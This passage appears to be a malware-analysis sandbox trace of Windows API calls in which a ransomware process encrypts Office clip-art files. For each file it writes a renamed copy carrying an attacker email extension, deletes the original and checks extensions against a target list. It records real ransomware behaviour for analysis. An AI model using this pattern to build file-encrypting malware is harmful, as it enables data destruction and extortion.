lpNewFilePointer=0x0) returned 1 [0286.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0286.399] GetLastError () returned 0x0 [0286.399] ReadFile (in: hFile=0x530, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0286.761] WriteFile (in: hFile=0x550, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0286.763] ReadFile (in: hFile=0x530, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.763] WriteFile (in: hFile=0x550, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.763] SetEndOfFile (hFile=0x550) returned 1 [0286.763] CloseHandle (hObject=0x550) returned 1 [0286.764] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.764] SetEndOfFile (hFile=0x530) returned 1 [0286.770] CloseHandle (hObject=0x530) returned 1 [0286.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0287.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0287.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0287.617] lstrlenW (lpString=".doc") returned 4 [0287.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.629] lstrlenW (lpString=".docx") returned 5 [0287.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.629] lstrlenW (lpString=".pdf") returned 4 [0287.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.629] lstrlenW (lpString=".xls") returned 4 [0287.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.629] lstrlenW (lpString=".xlsx") returned 5 [0287.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.629] lstrlenW (lpString=".ppt") returned 4 [0287.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0287.629] lstrlenW (lpString=".zip") returned 4 [0287.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.629] lstrlenW (lpString=".rar") returned 4 [0287.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.629] lstrlenW (lpString=".bz2") returned 4 [0287.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.630] lstrlenW (lpString=".7z") returned 3 [0287.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0287.630] lstrlenW (lpString=".dbf") returned 4 [0287.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0287.630] lstrlenW (lpString=".1cd") returned 4 [0287.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0287.630] lstrlenW (lpString=".jpg") returned 4 [0287.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.630] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2944) returned 1 [0287.631] CloseHandle (hObject=0x394) returned 1 [0287.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0287.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0287.632] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.632] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0287.633] GetLastError () returned 0x0 [0287.633] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xb80, lpOverlapped=0x0) returned 1 [0287.634] WriteFile (in: hFile=0x49c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xb90, lpOverlapped=0x0) returned 1 [0287.635] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.636] WriteFile (in: hFile=0x49c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.636] SetEndOfFile (hFile=0x49c) returned 1 [0287.636] CloseHandle (hObject=0x49c) returned 1 [0287.636] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.636] SetEndOfFile (hFile=0x394) returned 1 [0287.639] CloseHandle (hObject=0x394) returned 1 [0287.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0287.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0287.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0287.640] lstrlenW (lpString=".doc") returned 4 [0287.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.640] lstrlenW (lpString=".docx") returned 5 [0287.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.640] lstrlenW (lpString=".pdf") returned 4 [0287.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.640] lstrlenW (lpString=".xls") returned 4 [0287.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.640] lstrlenW (lpString=".xlsx") returned 5 [0287.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.641] lstrlenW (lpString=".ppt") returned 4 [0287.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0287.641] lstrlenW (lpString=".zip") returned 4 [0287.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.641] lstrlenW (lpString=".rar") returned 4 [0287.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.641] lstrlenW (lpString=".bz2") returned 4 [0287.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.641] lstrlenW (lpString=".7z") returned 3 [0287.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0287.641] lstrlenW (lpString=".dbf") returned 4 [0287.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0287.641] lstrlenW (lpString=".1cd") returned 4 [0287.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0287.641] lstrlenW (lpString=".jpg") returned 4 [0287.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.642] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1220) returned 1 [0287.642] CloseHandle (hObject=0x394) returned 1 [0287.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0287.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0287.643] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.643] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0287.644] GetLastError () returned 0x0 [0287.644] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x4c4, lpOverlapped=0x0) returned 1 [0287.646] WriteFile (in: hFile=0x49c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4d0, lpOverlapped=0x0) returned 1 [0287.647] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.647] WriteFile (in: hFile=0x49c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.647] SetEndOfFile (hFile=0x49c) returned 1 [0287.647] CloseHandle (hObject=0x49c) returned 1 [0287.647] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.647] SetEndOfFile (hFile=0x394) returned 1 [0287.650] CloseHandle (hObject=0x394) returned 1 [0287.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0287.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0287.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0287.652] lstrlenW (lpString=".doc") returned 4 [0287.652] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0287.652] lstrlenW (lpString=".docx") returned 5 [0287.652] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0287.652] lstrlenW (lpString=".pdf") returned 4 [0287.652] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0287.652] lstrlenW (lpString=".xls") returned 4 [0287.652] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0287.652] lstrlenW (lpString=".xlsx") returned 5 [0287.652] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0287.652] lstrlenW (lpString=".ppt") returned 4 [0287.652] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0287.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0287.652] lstrlenW (lpString=".zip") returned 4 [0287.652] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0287.652] lstrlenW (lpString=".rar") returned 4 [0287.652] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0287.652] lstrlenW (lpString=".bz2") returned 4 [0287.652] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0287.652] lstrlenW (lpString=".7z") returned 3 [0287.652] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0287.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0287.652] lstrlenW (lpString=".dbf") returned 4 [0287.652] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0287.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0287.653] lstrlenW (lpString=".1cd") returned 4 [0287.653] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0287.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0287.653] lstrlenW (lpString=".jpg") returned 4 [0287.653] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0287.654] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=9734) returned 1 [0287.654] CloseHandle (hObject=0x394) returned 1 [0287.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0287.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0287.655] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.655] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0287.656] GetLastError () returned 0x0 [0287.656] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x2606, lpOverlapped=0x0) returned 1 [0287.661] WriteFile (in: hFile=0x49c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x2610, lpOverlapped=0x0) returned 1 [0287.662] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.662] WriteFile (in: hFile=0x49c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.662] SetEndOfFile (hFile=0x49c) returned 1 [0287.662] CloseHandle (hObject=0x49c) returned 1 [0287.662] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.662] SetEndOfFile (hFile=0x394) returned 1 [0288.050] CloseHandle (hObject=0x394) returned 1 [0288.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0288.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0288.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0288.068] lstrlenW (lpString=".doc") returned 4 [0288.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.068] lstrlenW (lpString=".docx") returned 5 [0288.068] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0288.068] lstrlenW (lpString=".pdf") returned 4 [0288.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.068] lstrlenW (lpString=".xls") returned 4 [0288.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.069] lstrlenW (lpString=".xlsx") returned 5 [0288.069] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0288.069] lstrlenW (lpString=".ppt") returned 4 [0288.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0288.069] lstrlenW (lpString=".zip") returned 4 [0288.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.069] lstrlenW (lpString=".rar") returned 4 [0288.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.069] lstrlenW (lpString=".bz2") returned 4 [0288.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.069] lstrlenW (lpString=".7z") returned 3 [0288.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0288.069] lstrlenW (lpString=".dbf") returned 4 [0288.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0288.069] lstrlenW (lpString=".1cd") returned 4 [0288.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0288.069] lstrlenW (lpString=".jpg") returned 4 [0288.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.070] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=19898) returned 1 [0288.070] CloseHandle (hObject=0x394) returned 1 [0288.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0288.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.071] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.071] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0288.072] GetLastError () returned 0x0 [0288.072] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0288.089] WriteFile (in: hFile=0x53c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0288.091] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.091] WriteFile (in: hFile=0x53c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.091] SetEndOfFile (hFile=0x53c) returned 1 [0288.094] CloseHandle (hObject=0x53c) returned 1 [0288.095] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.095] SetEndOfFile (hFile=0x394) returned 1 [0288.099] CloseHandle (hObject=0x394) returned 1 [0288.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0288.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0288.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0288.100] lstrlenW (lpString=".doc") returned 4 [0288.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned 